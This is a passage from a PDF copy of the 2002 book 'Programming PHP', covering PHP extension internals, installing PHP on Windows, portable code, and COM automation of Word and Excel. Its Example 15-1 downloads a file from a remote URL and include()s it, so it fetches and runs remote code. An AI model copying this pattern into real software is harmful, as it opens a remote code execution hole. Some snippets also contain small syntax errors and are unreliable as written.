As you can see, the new setting is accessed via the char *new_value. Even for an inte-ger, as in our example, you always get a char *. The full PHP_INI_MH( ) prototypemacro looks like this:

#define PHP_INI_MH(name) int name(zend_ini_entry *entry, char *new_value, \ uint new_value_length, void *mh_arg1, \ void *mh_arg2, void *mh_arg3, int stage \ TSRMLS_DC)

The extra mh_arg1, mh_arg2, and mh_arg3 are custom user-defined arguments that youcan optionally provide in the INI_ENTRY section. Instead of using PHP_INI_ENTRY( ) todefine an INI entry, use PHP_INI_ENTRY1( ) to provide one extra argument, PHP_INI_ENTRY2( ) for two, and PHP_INI_ENTRY3( ) for three.

Next, after either using the built-in change handlers or creating your own, find thePHP_MINIT_FUNCTION( ) and add this after the ZEND_INIT_MODULE_GLOBALS( ) call:

REGISTER_INI_ENTRIES( );

In the PHP_MSHUTDOWN_FUNCTION( ), add:

UNREGISTER_INI_ENTRIES( );

In the PHP_MINFO_FUNCTION( ), you can add:

DISPLAY_INI_ENTRIES( );

This will show all the INI entries and their current settings on the phpinfo( ) page.

,ch14.16947 Page 348 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (349)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Resources | 349

ResourcesA resource is a generic data container that can hold any sort of data. An internal listmechanism keeps track of your resources, which are referenced through simpleresource identifiers.

Use resources in your extensions when the extension is providing an interface tosomething that needs cleanup. When the resource goes out of scope or your scriptends, your destructor function for that resource is called, and you can free memory,close network connections, remove temporary files, etc.

Here’s a simple little example where we tie our resource to a trivial struct that con-tains only a string and an integer (name and age, in this case):

static int le_test;

typedef struct _test_le_struct { char *name; long age;} test_le_struct;

The struct can contain anything: a file pointer, a database connection handle, etc.The destructor function for our resource looks like this:

static void _php_free_test(zend_rsrc_list_entry *rsrc TSRMLS_DC) { test_le_struct *test_struct = (test_le_struct *)rsrc->ptr;

efree(test_struct->name); efree(test_struct);}

In your MINIT( ) function, add this line to register your destructor for the le_testresource:

le_test = zend_register_list_destructors_ex(_php_free_test, NULL, "test", module_number);

Now, here’s a fictitious my_init( ) function that initializes the data associated withthe resource. It takes a string and an integer (name and age):

PHP_FUNCTION(my_init) { char *name = NULL; int name_len, age; test_le_struct *test_struct;

if (zend_parse_parameters(ZEND_NUM_ARGS( ) TSRMLS_CC, "sl", &name, &name_len, &age) == FAILURE) { return; } test_struct = emalloc(sizeof(test_le_struct)); test_struct->name = estrndup(name, name_len); test_struct->age = age; ZEND_REGISTER_RESOURCE(return_value, test_struct, le_test);}

,ch14.16947 Page 349 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (350)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

350 | Chapter 14: Extending PHP

And here’s a my_get( ) function that takes a resource parameter returned from my_init( ) and uses that to look up the data associated with the resource:

PHP_FUNCTION(my_get){ test_le_struct *test_struct; zval *res;

if (zend_parse_parameters(ZEND_NUM_ARGS( ) TSRMLS_CC, "r", &res) == FAILURE) { return; }

ZEND_FETCH_RESOURCE(test_struct, test_le_struct *, &res, -1, "test", le_test);

if(!test_struct) RETURN_FALSE;

array_init(return_value); add_assoc_string(return_value, "name", test_struct->name, 1); add_assoc_long(return_value, "age", test_struct->age);}

Where to Go from HereThis is by no means a complete reference to the entire extension and Zend APIs, butit should get you to the point where you can build a simple extension. Through thebeauty of open source software, you will never lack example extensions from whichto borrow ideas. If you need a feature in your extension that you have seen a stan-dard PHP function do, simply go have a look at how it was implemented. All thebuilt-in features in PHP use the same API.

Once you have gotten to the point where you understand the basic aspects of theextension API and you have questions about more advanced concepts, feel free topost a message to the PHP developers’ mailing list. The address is [emailprotected]. You do not need to be subscribed to send a question to this list. Note that thislist is not for questions about developing applications written in user-level PHP. Thisis a very technical list about the internals of PHP itself. You can search the archives ofthis list on http://www.php.net by entering a search string in the search field andselecting this list. You can subscribe to this list, and all the other PHP lists, at http://www.php.net/support.php.

Good luck with your PHP extension, and if you write something really cool, pleasetell us about it on the developers’ list!

,ch14.16947 Page 350 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (351)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

351

Chapter 15 CHAPTER 15

PHP on Windows

There are many reasons to use PHP on a Windows system, but the most common isthat you want to develop web applications on your Windows desktop machine with-out the hassle of telnetting into the central Unix server. This is very easy to do, asPHP is extremely cross-platform friendly, and installation and configuration arebecoming easier all the time.

What can be confusing at first is the number of various configurations and choicesavailable. There are many variants of the Windows operating system, and many webservers are available for those operating systems. PHP itself can run as either adynamic link library (DLL) or a CGI script. It’s easy to get confused or to misconfig-ure your system. This chapter explains how to install, configure, and make the bestuse of PHP on Windows systems. We also show how to take advantage of the fea-tures unique to the Windows platform—connecting to databases with ODBC andcontrolling Microsoft Office applications through COM.

Installing and Configuring PHP on WindowsThis section shows you how to install PHP on Windows. We cover both manuallyconfiguring your web server to use PHP, and the use of the PHP installer, which willdo the configuration for you.

Going Straight to the SourceThe most recent version of PHP can always be found at http://www.php.net/downloads.php. While you could download the source and compile it yourself,chances are you don’t have a compiler. Fortunately, the PHP downloads page has abinary distribution for Windows.

Download the latest Windows PHP distribution and extract it into a local direc-tory. You’ll need a program such as WinZip (http://www.winzip.com) to extract theZIP file. At the root level of the distribution is php.exe, which you can run from a

,ch15.17090 Page 351 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (352)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

352 | Chapter 15: PHP on Windows

command prompt to test and experiment with PHP. If you have PHP code in a file(e.g., test.php), you can run that code with:

C:\> php -q test.php

Configuring PHP with a Web ServerOnce you have PHP on your local computer, the next thing to do is to configure itinto a web server.

The choices here are many. PHP can either be run as a standalone CGI script orlinked directly into the server via the server’s native Server API (SAPI). There’s SAPIsupport for IIS, Apache, Netscape iPlanet, and AOLserver. PHP can even be config-ured to run as a Java servlet engine.

Because of the rapid change in the development of PHP, it is always best to checkwith mail lists and online resources to determine the best configuration for your spe-cific application. In general, the CGI version is more reliable, but it is slower thanSAPI implementations because it has to be loaded with each request. SAPI imple-mentations load once and create a new thread for each request. Although this ismore efficient, the tight coupling with the server can bring the entire server down ifthere are memory leaks or other bugs with an extension. SAPI support on Windowsis considered to be unstable as of the writing of this book, and hence is not recom-mended for production environments.

For our discussion, we will look at and compare installation on Microsoft PersonalWeb Server (PWS) and Apache for Windows, both on Windows 98—two installa-tions that help to contrast the differences in implementation while providing usefullocal development environments.

Configuration common to all Microsoft installations

Regardless of the server you use, there are a few steps common to all installations ina Microsoft environment:

1. Decide where to extract the distribution. A common location is c:\php.

2. Copy the php.ini.dist file to c:\windows\php.ini, or specify the location in thePHPRC environment variable. Edit the file to set configuration options.

3. Ensure that the system can find php4ts.dll and msvcrt.dll. The default installa-tion has them in the same directory as php.exe, which works. If you want all yoursystem DLLs together, copy the files to C:\WINDOWS\SYSTEM. Alternatively,add the directory containing the PHP DLLs to the PATH environment variable.

DLL search order varies slightly between versions of Windows. In most cases, it is asfollows:

1. The directory from which the application loaded

2. The current directory

,ch15.17090 Page 352 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (353)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Installing and Configuring PHP on Windows | 353

3. Windows 95/98/Me: the Windows system directory; Windows NT/2000 orlater: the 32-bit Windows system directory (SYSTEM32)

4. Windows NT/2000 or later: the 16-bit Windows system directory (SYSTEM)

5. The Windows directory (WINDOWS)

6. The directories listed in the PATH environment variable

Using the PHP installer to automatically configure PHP

The PHP development group offers an installer that configures a Windows webserver to work with PHP. This is the recommended method of installation, as youdon’t need to learn how to edit the registry or how to configure Apache. It is avail-able for download from http://www.php.net/downloads.php. PHP’s installer will auto-matically configure your server for many of the more popular web servers for theMicrosoft platform, as shown in Figure 15-1.

After you install your preferred web server, running the installer will prompt you forsome values for typical php.ini configuration and the desired web server and configu-ration to use. Modifiable parameters here include the install path for PHP (typicallyc:\php), the temporary upload directory (the default is c:\PHP\uploadtemp), the direc-tory for storing session data (the default is C:\PHP\sessiondata), the local mail server,the local mail address, and the error warning level.

Manually configuring PWS

To configure PHP for Personal Web Server, you must add a line in the registry thatassociates .php files with the PHP engine. For Windows 98, that line is:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters\Script Map]".php"="C:\\PHP\\php.exe"

Figure 15-1. Choosing the server type in PHP’s installer

,ch15.17090 Page 353 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (354)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

354 | Chapter 15: PHP on Windows

You must also enable execution of scripts in each directory in which you want to runPHP. The exact method of doing this varies between versions of PWS—it may be anoption when you right-click on the directory from the Explorer or a Control Paneloption, or it may be done through a separate PWS configuration program.

Manually configuring Apache

Apache uses a single configuration file, httpd.conf, rather than the system registry.This makes it a little easier to make changes and switch between CGI and SAPI mod-ule configurations.

Add this to httpd.conf to configure PHP as a SAPI module:

LoadModule php4_module c:/php/sapi/php4apache.dllAddType application/x-httpd-php .php

To execute PHP scripts via CGI, add the following to the httpd.conf file:

AddType application/x-httpd-php .phpAction application/x-httpd-php "/php/php.exe"

Other installers and prepackaged distributions

There are also a variety of prepackaged Windows distributions of PHP available onthe Web. These distributions can make it easier to get a web server and PHP run-ning, and some offer more features or a smaller footprint. Table 15-1 shows some ofthe more interesting distributions available at the time of writing.

Adding Extensions to the Base DistributionPHP on Windows has out-of-the-box support for ODBC and MySQL. Most otherextensions must be manually configured (i.e., you must tell PHP where to find theDLL files).

First tell PHP which directory contains the extensions by adding this to your php.inifile:

extension_dir = C:\php\extensions; path to directory containing php_xxx.dll

Table 15-1. Prepackaged distributions of PHP-related tools for Windows

Product URL Description

PHPTriad http://www.PHPGeek.com Apache, PHP, and MySQL in a standard CGI distribution for Windows. Conve-nient for those who want to get up and running quickly and who don’t careabout where things are located.

Merlin Server http://www.abriasoft.com A complete web development and production server that includes a secure,SSL-supported release of Apache, MySQL, and PostgreSQL, plus developmentlanguages such as PHP and PERL. It also includes a complete open source e-commerce software platform and comes with a template-based web portaland news system.

,ch15.17090 Page 354 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (355)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Writing Portable Code for Windows and Unix | 355

Then explicitly load the module with a line like this in the php.ini file:

extension=php_gd.dll; Add support for Tom Boutell's gd graphics library

You can determine what extensions are available for your particular version by look-ing in the extensions directory of your distribution.

Once you have made these changes, restart your server and check the output ofphpinfo( ) to confirm that the extension has been loaded.

Writing Portable Code for Windowsand UnixOne of the main reasons for running PHP on Windows is to develop locally beforedeploying in a production environment. As most production servers are Unix-based,it is important to consider porting* as part of the development process and planaccordingly.

Potential problem areas include applications that rely on external libraries, use nativefile I/O and security features, access system devices, fork or spawn threads, communi-cate via sockets, use signals, spawn external executables, or generate platform-specificgraphical user interfaces.

The good news is that cross-platform development has been a major goal in thedevelopment of PHP. For the most part, PHP scripts should be easily ported fromWindows to Unix with few problems. However, there are several instances whereyou can run into trouble when porting your scripts. For instance, some functionsthat were implemented very early in the life of PHP had to be mimicked for useunder Windows. Other functions may be specific to the web server under which PHPis running.

Determining the PlatformTo design with portability in mind, you may want to first test for the platform onwhich the script is running. PHP defines the constant PHP_OS, which contains thename of the operating system on which the PHP parser is executing. Possible valuesfor the PHP_OS constant include "AIX", "Darwin" (MacOS), "Linux", "SunOS", "WIN32",and "WINNT".

* For an excellent article on porting between Windows and Linux for many of today’s scripting languages, see“Linux to Windows 2000 Scripting Portability,” available on the Microsoft developer’s web site at http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/prodtechnol/iis/deploy/depovg/lintowin.asp.Much of this discussion was abstracted from that paper.

,ch15.17090 Page 355 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (356)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

356 | Chapter 15: PHP on Windows

The following code shows how to test for a Windows platform prior to setting aninclude path:

<?php if (PHP_OS == "WIN32" || PHP_OS == "WINNT") { define("INCLUDE_DIR","c:\\myapps"); } else { // some other platform define("INCLUDE_DIR", "/include"); }?>

Handling Paths Across PlatformsPHP understands the use of either backward or forward slashes on Windows plat-forms, and can even handle paths that mix the use of the two slashes. As of Version4.0.7, PHP will also recognize the forward slash when accessing Windows UNCpaths (i.e., //machine_name/path/to/file). For example, these two lines are equivalent:

$fh = fopen('c:/tom/schedule.txt', 'r');$fh = fopen('c:\\tom\\schedule.txt', 'r');

The EnvironmentPHP defines the constant array $HTTP_ENV_VARS, which contains the HTTP environ-ment information. Additionally, PHP provides the getenv( ) function to obtain thesame information. For example:

<?php echo "Windows Directory is ".$HTTP_ENV_VARS["windir"]."\r\n"); echo "Windows Directory is ".getenv("windir")."\r\n");?>Windows Directory is C:\WINNTWindows Directory is C:\WINNT

Sending MailOn Unix systems, you can configure the mail( ) function to use sendmail or Qmail tosend messages. You can also do this on Windows systems, as long as you definesendmail_path in php.ini and install sendmail for Windows. More convenient is tosimply point the Windows version of PHP to an SMTP server:

[mail function]SMTP = mail.example.comsendmail_from = [emailprotected]

Server-Specific FunctionsIf compiled as a plug-in for Apache, PHP includes several functions that are specificto the Apache web server. If you use these functions, and are porting your scripts to

,ch15.17090 Page 356 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (357)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Writing Portable Code for Windows and Unix | 357

run under IIS, you will need to reimplement that functionality. Following are theApache-specific functions and some solutions for replacing them:

getallheaders( )Fetch all HTTP request headers. You can access the HTTP request headers viathe predefined variable $HTTP_ENV_VARS instead of using this function for any webserver, including Apache.

virtual( )Perform an Apache subrequest. This function allows you to include a URI fromthe local web server in the PHP script. If the retrieved text includes a PHP script,that script will become part of your current script.

apache_lookup_uri( )Perform a partial request for the specified URI and return all information aboutit. This function requests Apache to provide information about a URI. No con-version is available for IIS.

apache_note( )Get and set Apache request notes. This function is used for communicationbetween Apache plug-ins. No conversion is available for IIS.

ascii2ebcdic( ) and ebcdic2ascii( )These functions translate strings to and from ASCII and EBCDIC. Apache mustbe compiled with EBCDIC support for these functions to work. PHP provides noother means of converting EBCDIC strings. Microsoft provides a C-based API tohandle EBCDIC translations.

There is also a set of IIS-specific functions, though its purpose is primarily for man-agement of IIS.

Remote FilesUnder Unix, PHP is able to retrieve remote files via HTTP or FTP for inclusion inyour script via the require( ) and include( ) functions. These functions are not avail-able under Windows. Instead, you must write your own subroutine to fetch theremote file, save it to a temporary local file, and then include that file, as shown inExample 15-1.

Example 15-1. Including a remote file with PHP on Windows

<?php function include_remote($filename) { $data = implode("\n", file($filename));

if ($data) { $tempfile = tempnam(getenv("TEMP"),"inc"); $fp = fopen( $tempfile,"w"); fwrite( $fp, "$data"); fclose( $fp );

,ch15.17090 Page 357 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (358)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

358 | Chapter 15: PHP on Windows

End-of-Line HandlingWindows text files have lines that end in "\r\n", whereas Unix text files have linesthat end in "\n". PHP processes files in binary mode, so no automatic conversionfrom Windows line terminators to the Unix equivalent is performed.

PHP on Windows sets the standard output, standard input, and standard error file han-dles to binary mode and thus does not do any translations for you. This is importantfor handling the binary input often associated with POST messages from web servers.

Your program’s output goes to standard output, and you will have to specifically placeWindows line terminators in the output stream if you want them there. One way tohandle this is to define an end-of-line constant and output functions that use it:

<?php if (PHP_OS == "WIN32" || PHP_OS == "WINNT") { define("EOL","\r\n"); } else if (PHP_OS == "Linux") { define("EOL","\n"); } else { define("EOL","\n"); }

function echo_ln($out) { echo $out.EOL; }

echo_ln("this line will have the platforms EOL character");?>

End-of-File HandlingWindows text files end in a Control-Z ("\x1A"), whereas Unix stores file-length infor-mation separately from the file’s data. PHP recognizes the EOF character of the plat-form on which it is running. The function feof( ) thus works when reading Windowstext files.

include($tempfile); unlink($tempfile); }

echo "<b>ERROR: Unable to include ".$filename."</b><br>\n"; return FALSE; }

// sample usage include_remote("http://www.example.com/stuff.inc");?>

Example 15-1. Including a remote file with PHP on Windows (continued)

,ch15.17090 Page 358 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (359)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interfacing with COM | 359

External CommandsPHP uses the default command shell of Windows for process manipulation. Onlyrudimentary Unix shell redirections and pipes are available under Windows (e.g.,separate redirection of standard output and standard error is not possible), and thequoting rules are entirely different. The Windows shell does not glob (i.e., replacewildcarded arguments with the list of files that match the wildcards). Whereas onUnix you can say system("someprog php*.inc"), on Windows you must build the listof filenames yourself using opendir( ) and readdir( ).

Common Platform-Specific ExtensionsThere are currently over 80 extensions for PHP, covering a wide range of services andfunctionality. Only about half of these are available for both Windows and Unixplatforms. Only a handful of extensions, such as the COM, .NET, and IIS exten-sions, are specific to Windows. If an extension you use in your scripts is not cur-rently available under Windows, you need to either port that extension or convertyour scripts to use an extension that is available under Windows.

If you use PHP as a web server plug-in (SAPI), the extensions must be thread-safe.Some extensions depend on third-party libraries that may not be thread-safe, render-ing them incompatible with the SAPI plug-in.

Unfortunately, the level of thread safety in PHP extensions is poorly documented,and it will require testing on your part to discover where you may run into difficulty.Fortunately, the more popular an extension is, the greater chance there is of thatextension being available on Windows.

In some cases, some functions are not available under Windows even though themodule as a whole is. checkdnsrr( ), in the Networking module, is just one exampleof this problem.

Windows PHP does not support signal handling, forking, or multithreaded scripts. AUnix PHP script that uses these features cannot be ported to Windows. Instead, youshould rewrite the script to not take advantage of those features.

Interfacing with COMCOM allows you to control other Windows applications. You can send file data toExcel, have it draw a graph, and export the graph as a GIF image. You could also useWord to format the information you receive from a form and then print an invoice asa record. After a brief introduction to COM terminology, this section shows you howto interact with both Word and Excel.

,ch15.17090 Page 359 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (360)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

360 | Chapter 15: PHP on Windows

BackgroundCOM is a Remote Procedure Call (RPC) mechanism with a few object-oriented fea-tures. It provides a way for the calling program (the controller) to talk to another pro-gram (the COM server, or object), regardless of where it resides. If the underlyingcode is local to the same machine, the technology is COM; if it’s remote, it’s Distrib-uted COM (DCOM). If the underlying code is a DLL, and the code is loaded into thesame process space, the COM server is referred to as an in-process, or inproc, server.If the code is a complete application that runs in its own process space, it is knownas an out-of-process server, or local server application.

Object Linking and Embedding (OLE) is the overall marketing term for Microsoft’searly technology that allowed one object to embed another object. For instance, youcould embed an Excel spreadsheet in a Word document. Developed during the daysof Windows 3.1, OLE 1.0 was limited because it used a technology known asDynamic Data Exchange (DDE) to communicate between programs. DDE wasn’tvery powerful, and if you wanted to edit an Excel spreadsheet embedded in a Wordfile, Excel had to be opened and run.

OLE 2.0 replaced DDE with COM as the underlying communication method. UsingOLE 2.0, you can now paste an Excel spreadsheet right into a Word document andedit the Excel data inline. Using OLE 2.0, the controller can pass complex messagesto the COM server. For our examples, the controller will be our PHP script, and theCOM server will be one of the typical MS Office applications. In the following sec-tions, we will provide some tools for approaching this type of integration.

To whet your appetite and show you how powerful COM can be, here’s how youstart Word and add “Hello, World” to the initially empty document:

<?php $wp= new COM("Word.Application") or die ("Cannot open Word"); $wp->visible=1; $wp->Documents->Add( );

$wp->Selection->Typetext("Hello, world.");?>

PHP FunctionsPHP provides an interface into COM through a small set of function calls. Most ofthese are low-level functions that require detailed knowledge of COM that is beyondthe scope of this introduction. Two classes that we will make heavy use of, however,are COM and VARIANT.

An object of the COM class represents a connection to a COM server:

$word = new COM("Word.Application") or die("Cannot start MS Word");

An object of the VARIANT type represents COM data values. For example:

$vrows = new VARIANT(0, VT_I4|VT_BYREF);

,ch15.17090 Page 360 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (361)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interfacing with COM | 361

This creates a reference (VT_BYREF) to a 32-bit integer (VT_I4) with an initial value of0. PHP can pass strings and numbers to COM servers automatically, but VARIANTCOM types are required whenever you need to pass arguments by reference.

For most OLE automation, the most difficult task is that of converting a VB methodcall to something similar in PHP. For instance, this is VBScript to insert text into aWord document:

Selection.TypeText Text:="This is a test"

The same line in PHP is:

$word->Selection->Typetext("This is a test");

It is important to note two quirks in PHP’s present COM support. First, you cannotpass parameters in the middle of an object method. So instead of writing a methodas:

$a->b(p1)->c(p2)

you must break up the method as:

$tmp=$a->b(p1);$tmp->c(p2);

Second, PHP is unaware of default parameters from Microsoft OLE applicationssuch as Word. This simply means that you must explicitly pass all values to theunderlying COM object.

Determining the APITo determine object hierarchy and parameters for a product such as Word, youmight visit the Microsoft developer’s site at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vbawd10/html/wotocObjectModelApplication.asp and searchfor the specification for the Word object that interests you. Another alternative is touse both Microsoft’s online VB scripting help and Word’s supported macro lan-guage. Using these together will allow you to understand the order of parameters, aswell as the desired values for a given task.

For instance, assuming we want to understand how a simple find and replace works,we can do the following:

1. Open Word and create a new document containing some sample text. Forexample:

"This is a test, 123"

2. Record a macro to find the text “test” and replace it with the text “rest”. Do thisby selecting Tools ➝ Macro ➝ Record New Macro from Word’s menu bar. Oncerecording, use search and replace to create the macro. We will use this macro,shown in Figure 15-2, to determine the values of parameters that we will pass inour PHP COM method.

3. Use Word’s object browser to determine the calling syntax for all parameters inthis example. Press Alt-F11 to access Word’s VBScript online help, then type in the

,ch15.17090 Page 361 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (362)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

362 | Chapter 15: PHP on Windows

assumed syntax for the object method (in our case, Selection.Find.Execute( )).Then right-click in the parameter area to bring up the list of all parameters for themethod, as shown in Figure 15-3.

4. Values not in bold are optional in Word macros. PHP requires all values to bepassed explicitly, however.

5. Finally, convert the VBScript to corresponding PHP COM function calls, asshown here:

<?php $word=new COM("Word.Application") or die("Cannot start MS Word"); print "Loaded Word version ($word->Version)\n"; $word->visible = 1 ; $word->Documents->Add( ); $word->Selection->Typetext("This is a test"); $word->Selection->Typetext(" 123"); $word->Selection->Find->ClearFormatting( ); $word->Selection->Find->Execute("test", False, False, False, False, False, True, wdFindContinue, False, "rest", wdReplaceAll, False, False, False, False);?>

Figure 15-2. Using Word’s macro language to expose OLE COM objects and parameters

,ch15.17090 Page 362 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (363)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interfacing with COM | 363

In this code, we open up Word as an application. We then create a new documentand set visible to 1 to make it easier for us to debug. ClearFormatting ensures thatunwanted formats aren’t included as criteria in a find or replace operation.Selection->Find->Execute performs our search and replacement, replacing all valuesof “test” with “rest”.

Completing a Word DocumentBecause of the many versions of Word, and PHP’s evolving COM support, the previ-ous example isn’t guaranteed to work in your environment. One way to work aroundthis is to move as much of the automation as possible into the OLE application.

So let’s assume we have the invoice shown in Figure 15-4 that we wish to fill in withdata from PHP.

The basic idea is that we want to traverse the document and fill in the appropriatedata. To accomplish this, we will use Word’s bookmarks to move to key locations inthe document.

To place a bookmark, simply open an existing document, place the cursor in thedesired location, and select Insert ➝ Bookmark. In the pop-up window, type in aname for the bookmark and press the Add button. Create bookmarks on the cus-tomer address line and in the delivery, item, and total fields. The names of thosebookmarks should be customer, delivery, item, and total, respectively.

To move to a bookmark directly in PHP, we can use:

$word->Selection->Goto(what, which, count, name);

Figure 15-3. Gleaning syntax from Word’s online help

,ch15.17090 Page 363 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (364)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

364 | Chapter 15: PHP on Windows

Using Word’s macro language to determine the desired parameters for this method,we find that what requires the value wdGoToBookmark and that name refers to the namethat we gave to our bookmark. With a little digging through Microsoft documenta-tion, we also find that count indicates which instance of the bookmark in the docu-ment and that which is a navigational parameter, of which our desired value iswdGoToAbsolute.

Rather than do the positioning from PHP, though, we can create a macro to performthe find directly:

Sub BkmkCustomer( ) Selection.GoTo What:=wdGoToBookmark, Name:="customer"End Sub

This macro, which we’ve named BkmkCustomer, places the cursor at the bookmarknamed customer. Using this macro directly avoids any potential errors introduced inpassing multiple parameters from PHP to Word. The PHP COM method for this is:

$word->Application->Run("BkmkCustomer");

We can repeat this process for each named bookmark in the invoice.

To reduce the number of bookmarks required, we can create a Word macro for mov-ing to the next cell in a table:

Sub NextCell( ) Selection.MoveRight Unit:=wdCellEnd Sub

Figure 15-4. A sample invoice created with Microsoft Word

,ch15.17090 Page 364 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (365)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interfacing with COM | 365

Now we can complete the invoice with data we get from an HTML form. We alsowant to print the form, though.

If we only wanted to save an electronic copy, it would be as simple as:

$word->ActiveDocument->SaveAs("c:/path/to/invoices/myinvoice.doc");

This has the side effect of setting the ActiveDocument->Saved flag to True, which letsus close the application without being prompted to save the modified invoice.

If we want to print the document, there are three steps: print, mark the document assaved so we can quit without a dialog box, then wait until the printing has finished.Failure to wait means the user will see a “Closing this application will cancel print-ing” warning. Here’s the code for doing this:

$word->Application->Run("invoiceprint");

$word->Application->ActiveDocument->Saved=True;while($word->Application->BackgroundPrintingStatus>0){sleep (1);}

In this code, we’ve created a macro, InvoicePrint, with our desired printer settings.Once we call the macro, we loop until the value of BackgroundPrintingStatus is setto 0.

Example 15-2 shows the complete PHP program to complete and print the invoiceusing Word.

Example 15-2. Completing and printing a Word invoice from PHP

<?php // the skeletal Word invoice with macros $invoice="C:/temp/invoice.doc";

// fake form parameters $customerinfo="Wyle Coyote 123 ABC Ave. LooneyTune, USA 99999"; $deliverynum="00001"; $ordernum="12345"; $custnum="WB-beep";

$shipdate="11 Sep 2001"; $orderdate="11 Sep 2001"; $shipvia="UPS Ground";

$item[1]="SK-000-05"; $desc[1]="Acme Pocket Rocket"; $quantity[1]="2"; $cost[1]="$5.00"; $subtot[1]="$10.00"; $total="$10.00";

// start Word $word=new COM("Word.Application") or die("Cannot start MS Word"); print "Loaded Word version ($word->Version)\n";

,ch15.17090 Page 365 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (366)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

366 | Chapter 15: PHP on Windows

Reading and Writing Excel FilesControlling Excel is similar to controlling Word—research the APIs and use a com-bination of macros and COM. The hierarchy of objects is: the Application can have

$word->visible = 1 ; $word->Documents->Open($invoice);

// fill in fields $word->Application->Run("BkmkCustomer"); $word->Selection->TypeText($customerinfo);

$word->Application->Run("BkmkDelivery"); $word->Selection->TypeText($deliverynum); $word->Application->Run("NextCell"); $word->Selection->TypeText($shipdate); $word->Application->Run("NextCell"); $word->Selection->TypeText($shipvia); $word->Application->Run("NextCell"); $word->Selection->TypeText($orderdate); $word->Application->Run("NextCell"); $word->Selection->TypeText($custnum); $word->Application->Run("NextCell"); $word->Selection->TypeText($ordernum); $word->Application->Run("NextCell");

$word->Application->Run("BkmkItem"); $word->Selection->TypeText($item[1]); $word->Application->Run("NextCell"); $word->Selection->TypeText($desc[1]); $word->Application->Run("NextCell"); $word->Selection->TypeText($quantity[1]); $word->Application->Run("NextCell"); $word->Selection->TypeText($cost[1]); $word->Application->Run("NextCell"); $word->Selection->TypeText($subtot[1]);

$word->Application->Run("BkmkTotal"); $word->Selection->TypeText($total);

// print it $word->Application->Run("invoiceprint");

// wait to quit $word->Application->ActiveDocument->Saved=True; while($word->Application->BackgroundPrintingStatus>0){sleep (1);}

// close the application and release the COM object $word->Quit( ); $word->Release( ); $word = null;?>

Example 15-2. Completing and printing a Word invoice from PHP (continued)

,ch15.17090 Page 366 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (367)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Interacting with ODBC Data Sources | 367

multiple Workbooks, each of which can have multiple Sheets. A Sheet is what youprobably think of as a spreadsheet—a grid of cells.

Example 15-3 creates a new Excel spreadsheet and a new worksheet within it, stores"Hello, world" in cell A1, then saves the result to c:\temp\demo.xls.

You can read the value in a cell with this function:

function excel_read_cell($wkb,$sheet,$c) { $sheets = $wkb->Worksheets($sheet); $sheets->activate; $selcell = $sheets->Range($c); $selcell->activate; return $selcell->value;}

Interacting with ODBC Data SourcesODBC provides a data abstraction layer that is particularly useful for accessing someof Microsoft’s products—such as Access, Excel, MS SQL Server, and others—through a common interface. It’s like the PEAR DB abstraction class we talked aboutin Chapter 8. In this section we show you how to configure a database for control viaODBC, and how to access an ODBC database from PHP.

Configuring a DSNAs with PEAR DB, you identify an ODBC database with a data source name (DSN).With ODBC, however, you must explicitly create the mapping between a DSN andits database. This section steps through configuring the built-in Excel ODBC driver,but the process is similar for Access, MySQL, and other databases.

Example 15-3. Writing to Excel from PHP

